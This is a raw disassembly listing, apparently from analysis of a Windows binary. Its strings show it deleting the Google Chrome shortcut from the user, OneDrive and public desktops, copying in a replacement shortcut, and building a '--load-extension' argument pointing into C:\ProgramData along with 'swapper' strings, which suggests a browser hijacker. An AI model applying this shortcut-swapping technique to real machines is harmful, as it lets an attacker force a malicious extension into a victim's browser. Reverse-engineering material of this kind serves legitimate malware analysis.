mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x6f8]
cmp rdx, 0xf
jbe 0x14000ff08
inc rdx
mov rcx, qword [rsp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ff03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d60
call fcn.140035dd0
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], 0xf
mov byte [rsp + 0x6e0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7e0], xmm0
mov qword [rsp + 0x7f0], rsi
mov qword [rsp + 0x7f8], rsi
mov r8d, 0x29
lea rdx, str.C:UsersPublicDesktopGoogle_Chrome.lnk
lea rcx, [rsp + 0x7e0]
call fcn.14001ec30
nop
lea rax, [rsp + 0x740]
cmp qword [rsp + 0x758], 0xf
cmova rax, qword [rsp + 0x740]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x628], rax
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140003400
nop
lea rcx, [rsp + 0x80]
call fcn.140004430
movzx ebx, al
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140010012
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001000d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d66
call fcn.140035dd0
test bl, bl
je 0x140010066
lea rdx, [rsp + 0x740]
lea rcx, [rsp + 0xa0]
call fcn.14001cea0
nop
lea rcx, [rsp + 0xa0]
call fcn.140004530
movzx ebx, al
lea rcx, [rsp + 0xa0]
call fcn.140003ab0
test bl, bl
je 0x140010056
lea rdx, str.File_removed_from_user_desktop.
jmp 0x14001006d
lea rdx, str.Error_deleting_file_from_user_desktop.
lea rcx, [0x14007dfa0]
jmp 0x140010074
lea rdx, str.File_not_found_on_user_desktop.
lea rcx, [0x14007dcf0]
call fcn.14001c8f0
mov rcx, rax
call fcn.14001cba0
lea rax, [rsp + 0x780]
cmp qword [rsp + 0x798], 0xf
cmova rax, qword [rsp + 0x780]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x790]
mov qword [rsp + 0x628], rax
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140003400
nop
lea rcx, [rsp + 0x80]
call fcn.140004430
movzx ebx, al
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140010139
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010134
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d6c
call fcn.140035dd0
test bl, bl
je 0x14001018d
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0xa0]
call fcn.14001cea0
nop
lea rcx, [rsp + 0xa0]
call fcn.140004530
movzx ebx, al
lea rcx, [rsp + 0xa0]
call fcn.140003ab0
test bl, bl
je 0x14001017d
lea rdx, str.File_removed_from_OneDrive_desktop.
jmp 0x140010194
lea rdx, str.Error_deleting_file_from_OneDrive_desktop.
lea rcx, [0x14007dfa0]
jmp 0x14001019b
lea rdx, str.File_not_found_on_OneDrive_desktop.
lea rcx, [0x14007dcf0]
call fcn.14001c8f0
mov rcx, rax
call fcn.14001cba0
lea rax, [rsp + 0x7e0]
cmp qword [rsp + 0x7f8], 0xf
cmova rax, qword [rsp + 0x7e0]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x628], rax
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140003400
nop
lea rcx, [rsp + 0x80]
call fcn.140004430
movzx ebx, al
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140010260
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001025b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d72
call fcn.140035dd0
test bl, bl
je 0x1400102b4
lea rdx, [rsp + 0x7e0]
lea rcx, [rsp + 0xa0]
call fcn.14001cea0
nop
lea rcx, [rsp + 0xa0]
call fcn.140004530
movzx ebx, al
lea rcx, [rsp + 0xa0]
call fcn.140003ab0
test bl, bl
je 0x1400102a4
lea rdx, str.File_removed_from_publicDesktop_desktop.
jmp 0x1400102bb
lea rdx, str.Error_deleting_file_from_publicDesktop_desktop.
lea rcx, [0x14007dfa0]
jmp 0x1400102c2
lea rdx, str.File_not_found_on_publicDesktop_desktop.
lea rcx, [0x14007dcf0]
call fcn.14001c8f0
mov rcx, rax
call fcn.14001cba0
nop
lea rax, [rsp + 0x740]
cmp qword [rsp + 0x758], 0xf
cmova rax, qword [rsp + 0x740]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x628], rax
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x6a0]
call fcn.140003400
nop
lea rax, [rsp + 0x7a0]
cmp qword [rsp + 0x7b8], 0xf
cmova rax, qword [rsp + 0x7a0]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x7b0]
mov qword [rsp + 0x628], rax
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x6e0]
call fcn.140003400
nop
lea rdx, [rsp + 0x6a0]
cmp qword [rsp + 0x6b8], 7
cmova rdx, qword [rsp + 0x6a0]
lea rcx, [rsp + 0x6e0]
cmp qword [rsp + 0x6f8], 7
cmova rcx, qword [rsp + 0x6e0]
mov r8d, 2
call fcn.1400324f0
mov rbx, rax
mov rdx, rax
shr rdx, 0x20
test edx, edx
jne 0x140010d78
lea rcx, [rsp + 0x6e0]
call fcn.140003ab0
nop
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 7
jbe 0x140010437
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010432
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d8e
call fcn.140035dd0
test bl, bl
je 0x14001045b
lea rdx, str.lnk_copied_successfully_to_user_desktop.
lea rcx, [0x14007dcf0]
call fcn.14001c8f0
mov rcx, rax
call fcn.14001cba0
jmp 0x140010595
lea rdx, str.Error_copying_file_to_user_desktop_directory.
lea rcx, [0x14007dfa0]
call fcn.14001c8f0
mov rcx, rax
call fcn.14001cba0
lea rdx, [rsp + 0x7e0]
lea rcx, [rsp + 0x80]
call fcn.14001cea0
nop
lea rdx, [rsp + 0x7a0]
lea rcx, [rsp + 0xa0]
call fcn.14001cea0
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa0]
call fcn.1400043d0
movzx ebx, al
lea rcx, [rsp + 0xa0]
call fcn.140003ab0
nop
lea rcx, [rsp + 0x80]
call fcn.140003ab0
test bl, bl
je 0x1400104f9
lea rdx, str.lnk_copied_successfully_to_public_desktop.
lea rcx, [0x14007dcf0]
call fcn.14001c8f0
mov rcx, rax
call fcn.14001cba0
jmp 0x140010595
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0x80]
call fcn.14001cea0
nop
lea rdx, [rsp + 0x7a0]
lea rcx, [rsp + 0xa0]
call fcn.14001cea0
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa0]
call fcn.1400043d0
movzx ebx, al
lea rcx, [rsp + 0xa0]
call fcn.140003ab0
nop
lea rcx, [rsp + 0x80]
call fcn.140003ab0
test bl, bl
je 0x140010579
lea rdx, str.lnk_copied_successfully_to_OneDrive.
lea rcx, [0x14007dcf0]
call fcn.14001c8f0
mov rcx, rax
call fcn.14001cba0
jmp 0x140010595
lea rdx, str.Error_copying_file_to_OneDrive_directory.
lea rcx, [0x14007dfa0]
call fcn.14001c8f0
mov rcx, rax
call fcn.14001cba0
nop
jmp 0x1400105b1
mov ecx, 1
call fcn.140035dd8
mov qword [rsp + 0x620], rax
lea rcx, [rsp + 0x918]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14002f280]
xor edx, edx
xor ecx, ecx
call fcn.14003fe38
mov qword [rsp + 0x910], rax
test rax, rax
je 0x140010b88
mov ecx, 8
call fcn.140035dd8
lea rcx, [0x1400097d0]
mov qword [rax], rcx
mov qword [rsp + 0x620], rax
lea rcx, [rsp + 0x808]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14002f2b0]
xor edx, edx
xor ecx, ecx
call fcn.14003fe38
mov qword [rsp + 0x800], rax
test rax, rax
je 0x140010e0f
cmp dword [rsp + 0x808], 0
je 0x140010d94
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsp + 0x808], eax
je 0x140010d9f
movaps xmm0, xmmword [rsp + 0x800]
movdqa xmmword [rsp + 0x620], xmm0
xor edx, edx
lea rcx, [rsp + 0x620]
call fcn.1400356c8
test eax, eax
jne 0x140010daa
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x800], xmm0
cmp dword [rsp + 0x918], 0
jne 0x140010db5
mov rdx, qword [rsp + 0x7f8]
cmp rdx, 0xf
jbe 0x1400106ee
inc rdx
mov rcx, qword [rsp + 0x7e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400106e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010dbb
call fcn.140035dd0
mov qword [rsp + 0x7f0], rsi
mov qword [rsp + 0x7f8], 0xf
mov byte [rsp + 0x7e0], 0
mov rdx, qword [rsp + 0x7b8]
cmp rdx, 0xf
jbe 0x14001074d
inc rdx
mov rcx, qword [rsp + 0x7a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010748
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010dc1
call fcn.140035dd0
mov qword [rsp + 0x7b0], rsi
mov qword [rsp + 0x7b8], 0xf
mov byte [rsp + 0x7a0], 0
mov rdx, qword [rsp + 0x798]
cmp rdx, 0xf
jbe 0x1400107ac
inc rdx
mov rcx, qword [rsp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010dc7
call fcn.140035dd0
mov qword [rsp + 0x790], rsi
mov qword [rsp + 0x798], 0xf
mov byte [rsp + 0x780], 0
mov rdx, qword [rsp + 0x758]
cmp rdx, 0xf
jbe 0x14001080b
inc rdx
mov rcx, qword [rsp + 0x740]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010806
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010dcd
call fcn.140035dd0
mov qword [rsp + 0x750], rsi
mov qword [rsp + 0x758], 0xf
mov byte [rsp + 0x740], 0
mov rdx, qword [rsp + 0x658]
cmp rdx, 0xf
jbe 0x14001086a
inc rdx
mov rcx, qword [rsp + 0x640]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010865
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010dd3
call fcn.140035dd0
mov qword [rsp + 0x650], rsi
mov qword [rsp + 0x658], 0xf
mov byte [rsp + 0x640], 0
mov rdx, qword [rsp + 0x718]
cmp rdx, 0xf
jbe 0x1400108ca
inc rdx
mov rcx, qword [rsp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400108c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010dd9
call fcn.140035dd0
nop
mov rdx, qword [rsp + 0x8e8]
cmp rdx, 7
jbe 0x140010912
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001090d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ddf
call fcn.140035dd0
mov qword [rsp + 0x8e0], rsi
mov qword [rsp + 0x8e8], 7
mov word [rsp + 0x8d0], si
mov rdx, qword [rsp + 0x8c8]
cmp rdx, 7
jbe 0x140010976
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010971
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010de5
call fcn.140035dd0
mov qword [rsp + 0x8c0], rsi
mov qword [rsp + 0x8c8], 7
mov word [rsp + 0x8b0], si
mov rdx, qword [rsp + 0x8a8]
cmp rdx, 7
jbe 0x1400109da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x890]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400109d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010deb
call fcn.140035dd0
mov qword [rsp + 0x8a0], rsi
mov qword [rsp + 0x8a8], 7
mov word [rsp + 0x890], si
mov rdx, qword [rsp + 0x908]
cmp rdx, 7
jbe 0x140010a3e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010a39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010df1
call fcn.140035dd0
mov qword [rsp + 0x900], rsi
mov qword [rsp + 0x908], 7
mov word [rsp + 0x8f0], si
mov rdx, qword [rsp + 0x868]
cmp rdx, 0xf
jbe 0x140010a9e
inc rdx
mov rcx, qword [rsp + 0x850]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010a98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010df7
call fcn.140035dd0
nop
mov rdx, qword [rsp + 0x778]
cmp rdx, 0xf
jbe 0x140010ae1
inc rdx
mov rcx, qword [rsp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010adc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010dfd
call fcn.140035dd0
mov qword [rsp + 0x770], rsi
mov qword [rsp + 0x778], 0xf
mov byte [rsp + 0x760], 0
cmp r13, 0xf
jbe 0x140010b35
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140010b2c
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e03
mov rcx, r14
call fcn.140035dd0
nop
mov rax, qword [rsp + 0x888]
cmp rax, 0xf
jbe 0x140010b76
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140010b6d
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e09
mov rcx, r12
call fcn.140035dd0
nop
lea rcx, [rsp + 0x810]
call fcn.140007450
jmp 0x14000e224
mov dword [rsp + 0x918], esi
mov ecx, 6
call fcn.140033018
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
lea rdx, str.__load_extensionC:ProgramDataDirect_
lea rcx, [rsp + 0x6c0]
call fcn.140013a10
nop
lea rdx, str.swapper
lea rcx, [rsp + 0x6c0]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
xor ecx, ecx
call fcn.14003bbf0
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140001c10
nop
call fcn.140045aa8
int3
call fcn.140001c10
nop
call fcn.140045aa8
int3
call fcn.140001c10
nop
call fcn.140045aa8
nop
call fcn.140045aa8
int3
call fcn.140045aa8
int3
call fcn.140045aa8
nop
lea r9, [rsp + 0x6a0]
lea r8, [rsp + 0x6e0]
call fcn.1400042f0
nop
call fcn.140045aa8
nop
mov ecx, 1
call fcn.140033018
int3
mov ecx, 5
call fcn.140033018
int3
mov ecx, 2
call fcn.140033018
nop
call fcn.1400444f4
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
call fcn.140045aa8
nop
mov dword [rsp + 0x808], esi
mov ecx, 6
call fcn.140033018
int3